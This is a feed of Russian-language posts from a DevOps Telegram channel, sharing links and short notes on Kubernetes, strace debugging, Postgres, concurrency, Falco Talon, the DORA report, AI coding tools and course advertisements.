Давно не читал отличных статей. Тут линкендин выпустила статью про то, почему они написали свой стейтфулсет контроллер. Подходил к ее прочтению очень скептически. Обычно в таких статьях "уникальная проблема", которую никак не решить кроме написания своего уникального, воздушного и прекрасного или выбрать свой уникальный путь. Как это сделали недавно Яндекс, GitPod и Crafting-Code (ссылок давать не буду, это можно нагуглить, если такое желание имеется).

Но тут все понятно. У стейтфулсета есть много проблем. Это и то, что pvc template имьютебл, отсутствие шардирования, возможности делать канарейку, ограничения по работе с несколькими версиями подов. Линкендин еще добавил невозможность управления хостами при запланированном или незапланированном обслуживании.

То есть проблема понятна. С ней сталкивались многие.
И линкендин дает решение в архитектуре.

CRD-архитектура ихнего Stateful Workload Operator, следующая:

LiStatefulSet – описывает конфигурацию приложения.

Revision – отслеживает версии развертываний.

PodIndex – управляет состояниями подов.

Operation – определяет типы операций: масштабирование, замена, удаление.

StatefulPod – управляет подами и данными.

Ну и мелочи вроде self-healing и выведения нод из обслуживания временно или на постоянной основе. Есть схемочки, стрелочки.

Так что если у вас, как и у меня есть похожая задача, можно сохранить человекочасы на дизайне. Enjoy.

Пятничный деплой

24 Nov, 14:52


https://habr.com/en/articles/860828/

Пятничный деплой

24 Nov, 11:33


Writing integration tests for a Go CLI application

https://lucapette.me/writing/writing-integration-tests-for-a-go-cli-application

Пятничный деплой

23 Nov, 23:42


Здрасти. Как-то я писал про strace и как применять инъекции. Если пропустил, то читай тут и тут.

Ниже скрипт который автоматически пронумерует системные вызовы для последующих инъекций.

#!/usr/bin/perl

use strict;
use warnings;

my %numbs;
select STDERR;
while(<STDIN>) {
if( /^[0-9]++\s++([a-z0-9_]++(?=\())/ ) {
my $t = ++$numbs{$1};
s/\s+/ \e[31m$t\e[m /;
die $! if( keys %numbs == 1000 );
}
print;
}
exit(0);


Сохраняем это безобразие в файл num_syscalls и делаем chmod +x, ну а дальше запускаем в связке с strace:

strace -o'|./num_syscalls' -yf sh -c 'ls|cat'


Теперь получаем такой выхлоп:

456107 48 close(3</usr/) = 0
456107 52 rt_sigreturn({mask=[]})
456107 63 openat(AT_FDCWD</usr/local/sbin>)
456107 53 newfstatat(3)
456107 64 openat(AT_FDCWD</usr/local/sbin>)


Смотрим второй столбик, включаем логику и видим, что системные вызовы нумеруются.

Например, возьмем системный вызов openat, видим 63, 64. Это значит что openat был вызван 64 раза. А newfstatat 53.

Теперь берем нужный номер системного вызова и применяем инъекцию. Как это сделать и для чего, опять же показывал на примерах (ссылки в начале этого поста).

Тема крутая, не нужно ебаться и считать руками.

Весь вывод strace отправляется в stderr, чтобы иметь возможность разделять вывод трассировки и вывод исследуемой программы.

А чтобы получить только трассировку, можно сделать так:

strace -o'|./num_syscalls' -yf ls > /dev/null


Если бесит подсветка, выпили из перловского скрипта управляющий символ «\e[31m\[em».

Такие дела, изучай!

tags: #linux #debug

🔔 @bashdays➡️ @gitgate

Пятничный деплой

23 Nov, 21:26


Неочевидные для начинающих тонкости Postgres

В статье интересные инсайты опытного пользователя Postgres.

Пятничный деплой

23 Nov, 15:02


Google представил самого мощного ИИ-репетитора — LearnLM 1.5 Pro

Это настоящий монстр из нескольких нейросетей, который находит подход к каждому ученику, вдохновляет на обучение и значительно облегчает освоение материала.

🟠ИИ способен разбирать любые вопросы, примеры, уравнения и задачи, предоставляя подробные объяснения;
🟠Поддерживает контекст на 32 тысячи токенов, что позволяет эффективно погружаться в сложные темы и изучать объёмные материалы;
🟠Создаёт персональный план обучения, детально раскрывает сложные аспекты и фокусируется на важных для вас деталях;
🟠И всё это – бесплатно и на русском языке.

Пользуемся с VPN тут:
aistudio.google.com/prompts/new_chat

Пятничный деплой

23 Nov, 10:20


VictoriaMetrics реализуют собственную библиотеку стандарта OpenTelemetry, так как, по мнению разработчиков, OpenTelemetry излишне сложный и перегружен функциональностью, которая редко используется на практике, а также призывают сообщество к упрощению стандартов и повышения производительности.

https://www.datanami.com/2024/04/01/opentelemetry-is-too-complicated-victoriametrics-says/

Пятничный деплой

22 Nov, 13:39


Смотрим что происходит у коллег из Казахстана, недавно там прошла codetalks.kz смотрим записи тут https://youtube.com/@codetalkskz?si=nN4GJHTb9EkBk5JYl

Пятничный деплой

22 Nov, 06:32


cgroups и namespaces в Linux: как это работает?

В статье рассмотрена изоляция процессов и управление ресурсами в Linux, изучив возможности cgroups и namespaces. Разбераются, как работают контейнеры изнутри и учат создавать собственное изолированное окружение без Docker. Читать на Хабре.

Пятничный деплой

20 Nov, 11:17


Методология Twelve-Factor App теперь доступна как Open Source.

Сам манифест выложен на GitHub. Ожидается, что это привлечёт сообщество к совместной работе и поможет актуализировать принципы.

Пятничный деплой

20 Nov, 10:51


Пиарим проекты подписчиков! Кстати, если вы пишите что-то полезное и нужны звезды на гитхабе или просто хочется поделиться с миром - приносите!

Пятничный деплой

20 Nov, 10:51


LazyJournal - это терминальный пользовательский интерфейс (TUI) для journalctl, логов файловой системе и контейнеров Docker для быстрого просмотра и фильтрации, написанный на языке Go с использованием библиотеки gocui.

— Простая установка, для запуска достаточно загрузить в систему один исполняемый файл без зависимостей.
— Проект вдохновлен работами Jesse Duffield, по этому интерфейс будет знаком всем тем, кто уже использует LazyDocker и LazyGit.
— Для всех журналов присутствует возможность динамической фильтрации вывода с поддержкой нечеткого поиска (поиск всех фраз, разделенных пробелом в любом месте строки) и регулярных выражений (в стиле fzf и grep), а также подсветкой найденных слов.
— Позволяет получить список всех доступных журналов юнитов из journalctl (используется для чтения логов из подсистемы systemd).
— Возможность просматривать все доступные лог-файлы из каталога /var/log с сортировкой по дате изменения (например, для Apache, Nginx или СУБД), включая доступ к архивным логам.
— Поддержка логов контейнеров Docker.
— Проект будет полезен в первую очередь для системных администраторов Linux, больше не нужно вручную искать журналы в системе и каждый раз вызывать grep.

GitHub: https://github.com/Lifailon/lazyjournal

Пятничный деплой

19 Nov, 10:10


🖍 Как ломаются большие системы и как их траблшутить

Недавно прошёл SRE Week — открытый интенсив Школы анализа данных по работе с большими нагруженными системами. Руководитель службы разработки динамических таблиц в Yandex Infrastructure и преподаватель ШАД Руслан Савченко сделал обзорную статью по мотивам курса.

Это большой обзор распределённых систем — он будет интересен студентам и разработчикам, которые хотят вкатиться в Site Reliability Engineering.

Из статьи вы узнаете:

🟢 Из чего состоят распределённые системы: компоненты и схемы, о которых нужно знать

🟢 Как и почему они ломаются: за какими моментами нужно следить и кто виноват в том, что сервис не запускается

🟢 Как их чинить: что делать, когда всё горит

🔶 Больше SRE-магии и ссылку на плейлист с курсом лекций ищите в статье на Хабре.

Подписывайтесь:
💬 @Yandex4Backend
📹 @YandexforBackend

Пятничный деплой

18 Nov, 18:47


https://youtu.be/AKgNYEsoo9g?si=UvR3elLQm5wOqGFi

Пятничный деплой

18 Nov, 13:17


KubeCon + CloudNativeCon North America 2024 закончился несколько дней назад.
Делимся плейлистом.

Пятничный деплой

18 Nov, 10:03


Тем временем, я как-то упустил важное обновление https://prometheus.io/blog/2024/11/14/prometheus-3-0/

Пятничный деплой

17 Nov, 12:57


Учел ваши пожелания и собрал все посты по теме многозадачности и производительности в один пост. Приятного чтения, дальше больше, это еще далеко не конец😊

🔹Многозадачность на уровне железа и OS / Kernel Space

1. Многозадачность в OS. Введение.
2. Процессор и его роль в многозадачности
2.1. Про Hyper Threading
3. Процессы. Начало
4. Процессы в Linux
5. Потоки. Начало
6. Потоки в Linux
7. Модели ввода-вывода. Универсальная(блокирующая) модель ввода-вывода
8. Multiplexed IO
9. Asynchronous IO

🔹Легковесные потоки в User Space / Многозадачность в языках программирования

10. Fibers. Виды многозадачности с примерами в языках программирования.
11. Сравнительный обзор двух видов многозадачности

Пятничный деплой

16 Nov, 02:01


⚒️ Создание кастомного балансировщика нагрузки на Go для gRPC с приоритизацией адресов

Разработчик из VK делится опытом создания кастомного балансировщика нагрузки на Go для gRPC, который использует приоритеты адресов для выбора наилучшего соединения.

Это решение позволяет гибко управлять распределением клиентских запросов между серверами с разными уровнями доступности и обеспечивает подключение к оптимальному ЦОД с минимальными задержками.

👉 Читать

Пятничный деплой

15 Nov, 12:31


Red Hat объявила о передаче набора инструментов для работы с контейнерами, включая Podman, Buildah и Skopeo, под управление Cloud Native Computing Foundation: https://goo.su/nK98BDU

Это обеспечит повышение прозрачности разработки, поддержку открытых стандартов и активное участие сообщества в развитии инструментов.

Пятничный деплой

15 Nov, 12:22


Хватит ли ваших знаний в DevOps и инфраструктуре, чтобы спасти мир 🧐

➡️Представьте: вы попали во вселенную «Назад в будущее» и теперь в вашей зоне ответственности сохранность временных линий.

Хватит ли ваших навыков, чтобы избежать временного коллапса, — узнайте, пройдя наш тест.

Вам предстоит найти выход из 9 экстремальных ситуаций. Так тест проверит ваши знания по кибербезопасности и менеджменту сетей.

Удалось ли вам спасти мир и стать DevOps всех времён — узнаете в конце! Док Браун в дополнение даст свою обратную связь и подскажет, что стоит изучить поглубже.

➡️Отправиться в путешествие через вселенную по ссылке 🏎

Реклама ООО «Слёрм» ИНН 3652901451

Пятничный деплой

15 Nov, 09:01


Какие планы на 19 ноября? Приходи на OPS Talk в офис Сбера!
 
Открылась регистрация на митап для инженеров сопровождения и DevOps-специалистов «OPS Talk by Sber: от разработки до инцидента».

Вместе со спикерами из Сбера, СберТеха и HFLabs поговорим о сопровождении IT-систем, DevOps- и SRE-практиках в уютном офисе на Кутузовском проспекте, а также онлайн в прямом эфире.
 
В программе 3 доклада, интерактивы и подарки, пицца-брейк, много новых знакомств и общения!
 
👉🏻Подробная программа и регистрация – здесь.
 
И поторопись – количество очных мест ограничено!

Пятничный деплой

14 Nov, 18:03


65k nodes in k8s
https://cloud.google.com/blog/products/containers-kubernetes/gke-65k-nodes-and-counting

Из прикольного, чтобы достичь этого, конечно же выкинули etcd из куба для этого. И взяли Spanner. На этом можно и закончить, в целом, это кажется главная причина с чем нужно постоянно приседать, не только на больших кластерах, но и там где интенсивность создаваемых ресурсов высокая.
Остальные вещи, вроде тюнинга secondary boot disk, или использование kueue/jobset контроллеров, в контексте скейлинга до 65к хостов роли не играют особо. Это скорее про скорость шедулинга ворклоада.
Знаю, что яндекс облако пыталось заменить etcd на ydb (те сделать api etcd совместимое), но что-то, как всегда, пошло не так.

Пятничный деплой

14 Nov, 16:47


Я даже не знаю как описать масштаб бедствия, потому что когда это всё смотреть решительно непонятно 🌝

Выложены доклады с USENIX Security '24 в количестве 415 штук

Плейлист
https://www.youtube.com/playlist?list=PLbRoZ5Rrl5ldQ2K_dpmPKHEyRgyf5JSxd

Программа
https://www.usenix.org/conference/usenixsecurity24/technical-sessions

Пятничный деплой

14 Nov, 15:54


CPU, Memory Models, Concurrency, Multiprocess, Multithreading и Async. Часть 11. Сравнение видов многозадачности

В прошлом посте было дано определение 2м основным видам многозадачности используемых в Computer Science. В этом посте хочется дать чуть больше пояснений и порассуждать где и почему они применяются.

Вытесняющая многозадачность реализована на уровне ОС, практически все системы которые я знаю реализуют подход с вытесняющей многозадачностью. Этот подход позволяет пользователю ощущать что все запущенные программы на компьютере работают параллельно (при наличии ядер процесссора, помним про SMP). А если не параллельно то как минимум конкуррентно, то есть каждой задаче выделяется ресурс "поработать" а дальше ОС останавлвает программу чтобы выделить ресурсы соседнему процессу.

Какие основные плюсы и минусы есть у данного подхода к мультизадачности:
- Плюс: невозможна ситуация когда ресуры системы голодают (starvation) в ожидании работы. Планировщик всегда найдет для процесса поток и ядро процессора для исполнения команд.
- Минус: наличие планировщика так или иначе дает оверхед.

Если переходить к кооперативности то тут основной плюс в том что переключениями может управлять разработчик (Ну или рантайм языка программирования, т.е нечто на уровне самой программы а не ядра ОС). И планировщика может и не быть вовсе. Но имея такую силу в своих руках можно получить ситуацию когда мы пишем кооперативный код который с легкостью заблокирует всю программу и не передаст возможность делать полезную работу дргим файберам в рамках процесса. По сути программа зависнет и придется ее перезапускать. Чуть менее критичная ситуация - starvation, когда файбер не передает ресурсы другим файберам хотя ему они сейчас не нужны (например он заблокировался на IO).

Так зачем вообще нужно использовать кооперативную многозадачность? Давайте использовать нативные треды операционной системы и не будем париться? За нас все сделает ОС. Такой подход вполне имеет право на жизнь, но он является достаточно дорогим с точки зрения ресурсов. Треды дороже с точки зрения памяти + ими управляет ОС и переключения между ними очень дорогие. При этом помним что при разработке серверных программ большое количество времени программа проводит в состоянии ожидания ввода-вывода и для эффективной утилизации ресурсов и комфортного пользовательского опыта важно чтобы во время простоя могли выполняться другие задачи на железе.

Для того чтобы программисты могли писать IO bound программы эффективнее разработчики языков и начали привносить в рантаймы различные легковесные примитивы. Но что произойдет в программе если мы сделаем блокирующий вызов (например запрос к БД)? Зависит от того как реализован рантайм конкретного языка программирования. Где то мы в ответ получаем Promise и продолжаем выполнение программы и заблочиться на нем в ожиданиии результата спустя время. В других языках реализованы специальные планировщики которые умеют детектировать файберы которые заблочились на IO и их можно безопасно снять с реального потока ОС и выделить время другим файберам. То есть по сути получаем некоторый микс из двух подходов, взяли лучшее из каждого.

А как быть с CPU Bound задачами? Никак, CPU задачи не масштабируются с помощью файберов. Чтобы разобраться почему приглашаю читать предыдущие посты с обсуждением процессора😊

На этом на сегодня всё, спасибо что читали, до встречи в следующих постах.😇

Пятничный деплой

14 Nov, 15:53


Вышел Jaeger v2. Новая версия интегрирует OpenTelemetry и предлагает пользователям улучшенные возможности обработки данных и упрощённое развёртывание: https://goo.su/GuMQln

Пятничный деплой

14 Nov, 09:00


Postmortem должен быть обвинительным. Или нет?

➡️Пройдите тест из 5 вопросов, чтобы узнать, как хорошо вы разбираетесь в SRE.

А попробовать себя в роли SRE-инженера вы можете на курсе-интенсиве от Слёрма «SRE: data-driven подход к управлению надежностью систем». Старт уже 18 ноября.

На курсе вы:

🔹 внедрите правки прямо в прод;
🔹 узнаете, как решать конкретные проблемы, связанные с надежностью сервиса;
🔹 поймете, какие метрики собирать и как это делать правильно;
🔹 научитесь быстро поднимать продакшн силами команды;
🔹 узнаете, как снизить ущерб от отказов в будущем.

📍В подарок даем видеокурс «Мониторинг в Grafana»

Узнать подробности о курсе по ссылке 🔗

Реклама ООО «Слёрм» ИНН 3652901451

Пятничный деплой

13 Nov, 11:20


Ops или Engineering?

Новый, с пылу, с жару выпуск подкаста с Игорем Курочкиным — членом Программного комитета DevOpsConf 2025. Обсуждали DevOps и развитие инжиниринговых практик.

Говорили бодро, также обсуждали NextOps, который не то, чем кажется! Вспомнили массу приятных книг и не только.

Слушайте 321 подкаст The Art of Programming 🔄

iTunes
ВКонтакте
Яндекс Музыка

🖐️ CFP на DevOpsConf 2025 открыт

П.С. Cut-Cut 321. Ops или Engineering? тут.

Пятничный деплой

09 Nov, 15:24


Writing a circuit breaker in Go

https://rednafi.com/go/circuit_breaker

Пятничный деплой

09 Nov, 09:38


Проверка готовности приложения к работе в реальном ненадежном мире. Часть 2 #habr
https://habr.com/ru/companies/slurm/articles/857144/
Tags: go, golang, приложение, tutorial
Author: Hedgehog_art (Слёрм)

Пятничный деплой

06 Nov, 13:25


Долгожданный релиз containerd 2.0 предлагает множество новых функций, включая поддержку плагинов для проверки образов и интеграцию с OpenTelemetry. Это первое мажорное обновление с 2017 года.

Пятничный деплой

06 Nov, 07:41


Аналогичная штука для командной строки — Warp. Терминал с нормальной поддержкой AI.

Одну из ключевых идей Юникс можно понять за минуту: каждая программа должна уметь делать только одну вещь и делать её хорошо. Программы можно комбинировать, передавая результат работы первой как входные данные для второй, создавая сколь угодно длинные цепочки.

По сути, ты получаешь в руки набор кубиков Lego и каждый раз собираешь именно ту программу, которую нужна тебе прямо сейчас. Безграничные возможности.

К сожалению, в отличие от деталек Лего, которые различаются только шириной, высотой и длиной, и которые можно окинуть взглядом разложив на столе, Юникс программ огромное множество и особенности их поведения контролируется ключами, которых у каждой могут быть десятки.

Конечно, если проводишь в командной строке весь день — то большинство знаний отпечатываются на подкорке, входят в мышечную память.

Если никогда не чувствовал мощь шелла под своими пальцами, то это, наверное, как рассказывать вкус халвы тому, кто ни разу её не пробовал. И не так грустно, что у тебя ее нет. Но без практики все знания теряются.

Последние годы я часто обнаруживаю себя в ситуации, когда знаю, что задачу можно решить с помощью Шела за пару минут, но трачу полчаса на поиск нужных команд и ключей.

Warp возвращает мне эти знания, а порой подсказывает вещи, которых и я не знал никогда.



На практике, вместо написания команд можно нажать шорткат и сказать, что хочешь получить — на английском — и Warp предлагает тебе команду.

При этом у него есть контекст происходящего — что ты делал раньше и каким был результат. Можно прямо сказать «там че-то homebrew ругается, почини». И он чинит!

А ещё у него обычный ввод текста, не readline, так что можно наконец редактировать длинные многострочные команды прямо в нем.

Я сижу на бесплатном тарифе — 100 AI-запросов в месяц, дальше от 15$ в месяц. Пока только для Mac и Linux, Windows версию обещают скоро.

Пятничный деплой

06 Nov, 07:16


Как-то я пропустил, но тут в сентябре наконец-то выпустили Falco Talon условно стабильной версии.

Falco, если кратко, мониторит системные вызовы, анализирует что происходит и выдаёт предупреждение, если что-то нарушает его правила (делает это не только для Kubernetes, но и хоста).

Раньше, после того как Falco стриггерился на что-то, надо было придумать как на алерт реагировать. Так же Falco не позволял выстроить цепочку событий, которая бы объясняла, как к событию в алерте пришли.

Например, об этом рассказывал @gecube тут
https://youtu.be/uKX8TaLJK6E?t=293

Ответом на запрос в контексте реагирования появился Falco Talon
Falco Talon is a Response Engine for managing threats in Kubernetes clusters. It enhances the solutions proposed by the Falco community with a no-code tailor-made solution. With easy rules, you can react to events from Falco in milliseconds.

Introducing Falco Talon v0.1.0
https://falco.org/blog/falco-talon-v0-1-0/

Если кратко, то как это работает (схематично на первой картинке)

Falco ловит событие, которое прокидывается на falco-talon (можно через sidekick). После этого, согласно настроенным actionner выполняется действие. На данный момент список поддерживаемый
- kubernetes:terminate
- kubernetes:label
- kubernetes:networkpolicy
- kubernetes:exec
- kubernetes:script
- kubernetes:log
- kubernetes:delete
- kubernetes:drain
- kubernetes:download
- kubernetes:tcpdump
- aws:lambda
- calico:networkpolicy
- cilium:networkpolicy

https://docs.falco-talon.org/docs/actionners/list/

Как это можно применять можно почитать в посте от Sysdig
Optimizing Wireshark in Kubernetes
https://sysdig.com/blog/optimizing-wireshark-in-kubernetes/

Там они рассказали, как дампили трафик с помощью Wireshark, отправляли в Falco, а потом с помощью Falco Talon реагировали на то что происходит.

В посте, где рассказывают про релиз, показан пример со складированием трафика в Amazon S3 (на второй картинке)

GitHub
https://github.com/falcosecurity/falco-talon

Документация
https://docs.falco-talon.org/

Пятничный деплой

06 Nov, 07:15


PSQLBuddy — резервное копирование и восстановление PostgreSQL
https://ift.tt/pic3CIe

Все мы так или иначе решаем вопросы резервирования наших данных. Но всегда хочется, чтобы думать об этом приходилось как можно меньше, стоило это дешевле, а восстановление было простой задачей. Это я и попытался сделать в своем проекте PSQLBuddy.

Пятничный деплой

06 Nov, 07:07


Собственно, тут как в анекдоте - два путя.
Первый: ты в курсе, что DNS это не только чОрная магия, но ещё и увлекательный тулинг вокруг, поэтому ржёшь над девопсами, узнавшими про NS1.
Второй: ты никогда не слышал про NS1, route 53 и прочие DNS-сервисы, поэтому в докладе тебя ждёт удивительный мир.

https://www.youtube.com/watch?v=Fa2-CdzY75g

Пятничный деплой

04 Nov, 23:23


Werkzeug - 3.1.2
https://ift.tt/63TjigP

Швейцарский армейский нож веб-разработки Python. Скачать можно по ссылке: https://pypi.python.org/pypi/Werkzeug/

Пятничный деплой

04 Nov, 15:47


Mount — ещё один способ уменьшения размера Docker-образа
https://ift.tt/i30KPnG

Делюсь лайфхаком по уменьшению размеров Docker-образов. Как-то нам попалась на поддержку и развитие CRM-система, написанная на Ruby... Обновили Ruby-пакеты и под них код, написали Dockerfile. Первая сборка была удручающей: образ в 2Гб. Это нормальный размер, если ты собираешь образ с Torch и другой ML-штуковиной, но CRM - нет. В результате дальнейших действий, удалось сократить размер образа до 200Мб. Cделали следующее, чтобы сократить размер

Пятничный деплой

03 Nov, 19:24


🔩 Boot Time Presentations - сборник докладов и выступлений, тема которых так или иначе связана с ускорением загрузки системы.

Материалы представлены в списке от самых свежих - выступлений 2024 года, до самых старых - презентаций 2006 года...

https://elinux.org/Boot_Time_Presentations

#linux #boot #speed

Пятничный деплой

03 Nov, 19:20


В конце октября 2024 года вышел 10-й юбилейный отчет Accelerate State of DevOps 2024 от DORA и Google Cloud. Напомним, что исследование Accelerate State of DevOps проводится ежегодно с 2014 года, за 10 лет в исследовании приняли участие свыше 39 тысяч профессионалов по всему миру, работающих в компаниях различных размеров и отраслей. Авторы отчета - команда DORA (DevOps Research and Assessment), которая входит в Google Cloud и состоит из исследователей, архитекторов, консультантов, технических писателей, экспертов по UX и DX. В этом году отчет получился на 120 страниц, мы внимательно изучили новый отчет и подготовили краткий обзор.

Исследование в этом году сфокусировано на таких направлениях и практиках, как применение AI, Platform Engineering, Developer Experience, Transformational leadership и их влиянии на Software delivery performance, Reliability, Product performance, Team и Organizational performance, Productivity и Well-being.

Что интересного мы отметили:
1. В исследовании приняло участие 3000 профессионалов из 3-х основных индустрий Technology (36%), Financial Services (16%) и Retail/E-commerce (9%). Большинство участников (76%) работают в компаниях размером больше 100 сотрудников, 46% в компаниях больше 1000 сотрудников. Инженеров и руководителей практически поровну, 90% FTE (Full-time employee), в среднем имеют 16 лет опыта, 5 лет на текущей роли и 3 года в текущей команде. Участники исследования из 104 стран, топ-6 стран: США, Великобритания, Канада, Германия, Япония, Индия, есть участники из Китая и России;
2. В начале отчета даны хорошие определения ключевым терминам, практикам и метрикам используемым в исследовании, чтобы синхронизировать терминологию;
3. По изменениям в ключевых метриках: в прошлом году Time to Restore Service переименовали в Failed deployment recovery time, в этом - Change failure rate переименовали в Change fail rate и экспериментируют с 5-й метрикой Rework rate, а также изменили концепцию измерения Software Delivery Performance;
4. По изменениям в профилях эффективности команд: соотношение Elite (19%) и Medium (35%) осталось практически без изменений с прошлого года, профиль High сократился на 10%, а Low вырос с 17% до 25%;
5. По изменениям ключевых метрик в профилях: Change fail rate у профилей High вырос с 10% до 20%, у Medium сократился с 15% до 10%, у Low сократился c 64% до 40%. Также у Low профилей Deployment frequency и Change lead time увеличился до 6 месяцев;
6. Приведены результаты исследования применение AI практик и инструментов и их влияние на ключевые метрики, индивидуальную продуктивность и инженерные практики. Этому направлению отведено четверть отчета, отметим хорошо составленный набор задач для которых применяют AI инструменты и анализ доверия к результатам работы AI инструментов;
7. Отдельная секция посвещена Platform Engineering, авторы ссылаются на книгу Team Topologies, опыт компаний Spotify и Netflix, дают хорошее определение: "Platform engineering is a sociotechnical discipline where engineers focus on the intersection of social interactions between different teams and the technical aspects of automation, self-service, and repeatability of processes". Исследуют влияние внутренних платформ (Internal developer platform) на индивидуальную и командную продуктивность, на ключевые метрики и результаты в разрезе 1, 2 и 5 лет использования платформ;
8. Исследование затронуло применение продуктового подхода (User-centered approach) в командах, в отчете приведены результаты влияния на Developer Experience и ключевые метрики;
9. Из Transformational Leadership охвачены такие аспекты как: Vision, Inspirational communication, Intellectual stimulation, Supportive leadership, Personal recognition и их влияние на Employee burnout, Job satisfaction, Team performance и Organizational performance;

В конце отчета рассмотрена методология, включающая модель исследования, форматы проведения интервью и опросов, примеры гипотез и вопросов, исследуемые инженерные практики, метрики и результаты. Подробнее про результаты исследования читайте в новом отчете Accelerate State of DevOps 2024.

Пятничный деплой

03 Nov, 17:01


Дорогие программисты (особенно кто кодит не профессионально и не часто), если не пользовались Cursor — рекомендую попробовать.

Это редактор кода на основе VS Code, в который встроили хорошую поддержку AI. Можно выбирать API из множества провайдеров, он сам корректно добавляет контекст, очень удобно подсвечивает добавления/изменения кода.

Я часто прошу накинуть прототип, который дальше довожу до ума. Можно выделить кусочек кода и попросить в нем что-то поменять.

Лично для меня полезно, потому что я программирую редко и часто не помню интерфейсы библиотек (и даже части синтаксиса), но хорошо понимаю, что хочу получить.

Хорошие фул-тайм программисты говорят, что им полезно как мощный инструмент рефакторинга, который берет на себя рутину.

Я сижу на бесплатном тарифе, больше тяжелых запросов — за 20$ в месяц.

Upd. Коллеги напоминают, что совсем недавно Lex Fridman взял интервью у создателей — занимательный разговор!

Пятничный деплой

03 Nov, 16:46


Товарищи настраивали web application firewall․ Прислали им новый список айпишников‚ которые надо добавить в whitelist․
Полетел список по процедуре к инженерам‚ те копипастнули и фиганули на прод.
Конечно, всё упало․
А почему упало
Потому что в условно 5 из 200 айпишниках вместо обычной точки использовалась армянская точка․

Будьте внимательнее‚ когда получаете данные! Ну нельзя же спутать

127։0։0։1
127·0·0·1
127․0․0․1

Правда

Вам кажется‚ что вы никогда не попадёте в такую ситуацию
Тогда обратите внимание‚ что в этом тексте нет НИ ОДНОГО стандартного знака препинания!
‚ ‒ это не ,
․ ‒ это не .
и даже вот чёрточки ‒ которые использовались выше - это не дефисы, и даже не тире․

Пятничный деплой

03 Nov, 16:20


Я обычно не люблю, когда программисты вещают про сети, но тут прям хорошо. Без заумных слов и чтобы понял даже самый отбитый девопс. Мне кажется, это верный признак того, что автору пришлось усиленно разбираться в теме, перед тем как делать и выходить на публику.
Даже от набросов сетевиков в конце отбился достойно.
https://www.youtube.com/watch?v=-6iWRYkeF14

Пятничный деплой

03 Nov, 11:46


Скажу честно, у самого руки пока до Talos (для куба, а не эти ваши циски и что там ещё есть с таким же названием) не дошли, но с мест докладывают, что проект очень интересный. Потому что кластер, потому что минималистичность без мусора, так необходимая подам, и потому что просто работает, позволяя на ходу доставать из широких штанин напильник любого размера.
Собственно, по ссылке курс молодого бойца.

https://a-cup-of.coffee/blog/talos/

Пятничный деплой

03 Nov, 00:40


⚒️ Фундаментальные основы Redis: на заметку разработчику

👉 Источник

#инфографика

Пятничный деплой

01 Nov, 07:16


Linux Beyond the Basics: How Linux Reads and Writes Files

В статье подробно разобран механизм чтения и записи данных на ФС Linux.

❗️Статья на medium.com

Пятничный деплой

30 Oct, 17:54


Начинаем эту неделю с неплохой статьи "Kubernetes RBAC Permissions You Might Not Know About, but Should". Она поможет разобраться с опасными RBAC правами в Kubernetes, а также разъяснит потенциальный импакт от использования таких прав.

Конечно, в статье описаны далеко не все такие права. Так например, у нас в Luntry используется около 40 правил для проверки опасных прав RBAC. Кроме этого есть возможность создавать свои правила.

Пятничный деплой

28 Oct, 12:00


аж комментарии открыть захотелось!

Пятничный деплой

28 Oct, 12:00


Zabbix vs Prometheus. Что выбрать для гетерогенной инфраструктуры?

Плюсы, минусы, подводные камни 🙃 На самом деле в этой статье рассказано в деталях об установке обоих решений и некоторые детали по ним. Читать статью.

Пятничный деплой

28 Oct, 09:02


Алерт пришел! Что делать?

Встретимся 7 ноября на вебинаре Слёрма «Прокачка алертов: как постмортемы и ранбуки меняют игру» и обсудим, как эффективно работать с инцидентами.

Расскажем и покажем:

👉 что такое постмортем, как с ним работать и извлекать выгоду
👉 зачем нужен ранбук и как его писать
👉 как обычный алёрт можно превратить в полезный инструмент с помощью постмортема и ранбука

Спикеры: Кирилл Борисов, SRE в VK, и Максим Гусев, SRE Dodo Engineering.

Уникальные кейсы из реальной практики и финансовые вопросы инцидентов в крупных компаниях — на нашей встрече!

➡️ Когда: 7 ноября в 18:00
➡️ Занять место на вебинаре — в боте

Реклама ООО «Слёрм» ИНН 3652901451

Пятничный деплой

28 Oct, 08:08


🛠️ Бенчмаркинг и тестирование производительности в Go

Насколько быстр ваш код? Тесты расскажут вам об этом. К счастью, в Go есть бенчмаркинг, интегрированный в toolchain, наряду с тестированием. Вот руководство по бенчмаркингу для новичков в Go👇

🔗 Читать

Пятничный деплой

28 Oct, 01:44


Why I like discussing actions items in incident reviews

https://incident.io/blog/why-i-like-discussing-actions-items-in-incident-reviews

Пятничный деплой

28 Oct, 01:38


⚒️ Как создавать отказоустойчивые системы: #инфографика для разработчика

👉 Источник

Пятничный деплой

28 Oct, 01:37


🖇 Battle of the RabbitMQ Queues: Performance Insights on Classic and Quorum - о классических и кворумных очередях в RabbitMQ. Какой тип очереди выбрать для решения тех или иных задач, какие есть плюсы у каждого из типов...

https://dzone.com/articles/battle-of-the-rabbitmq-queues-performance-insights

#rabbitmq #напочитать

Пятничный деплой

27 Oct, 09:56


Surprising Applications for PostgreSQL You Probably Didn’t Know About

Необычные применения БД PostgreSQL:

🚀 Postgres as the Cluster Datastore for Kubernetes

🚀 Postgres as the Backend for Helm Releases

🚀 Promscale — PostgreSQL for Metrics, Tracing, and Logs

🚀 Dapr: Using Postgres for Application Configuration

🚀 MassTransit and Postgres as a Message Queue

❗️статья на medium.com

Пятничный деплой

26 Oct, 17:56


The Complete DevOps Roadmap [2024]

Go from zero to a DevOps Engineer in 10-14 months. This step-by-step roadmap covers the essential skills you need to become a DevOps Engineer in 2024.

📺 YouTube

Clean Code #видео #Devops

Пятничный деплой

26 Oct, 14:10


Делимся полезным постом от @DevOpsKaz

👩‍💻 Основные команды Kubernetes для восстановления после сбоев, которые помогают в 99% случаев:

kubectl get pods --all-namespaces Проверить статус всех подов во всех неймспейсах, чтобы найти сбои.

kubectl describe pod pod_name Получить подробную информацию о неудачном поде.

kubectl logs pod_name -c container_name Просмотреть логи конкретного контейнера в поде для устранения проблем.

kubectl get events --all-namespaces --sort-by='.metadata.creationTimestamp Просмотреть последние события для нахождения ошибок и сбоев.

kubectl get nodes Проверить статус нод в кластере и выявить возможные сбои на нодах.

kubectl drain node_name --ignore-daemonsets Безопасно эвакуировать и изолировать ноду для восстановления.

kubectl cordon node_name Пометить ноду как недоступную для планирования новых подов во время восстановления.

kubectl delete pod pod_name --grace-period=0 --force Принудительно удалить сбойный под, чтобы перезапустить его или освободить ресурсы для восстановления.

kubectl rollout undo deployment deployment_name Откатить деплоймент, если новый релиз вызывает сбои.

kubectl exec -it pod_name -- /bin/sh Получить доступ к контейнеру для отладки и решения проблем прямо внутри пода.

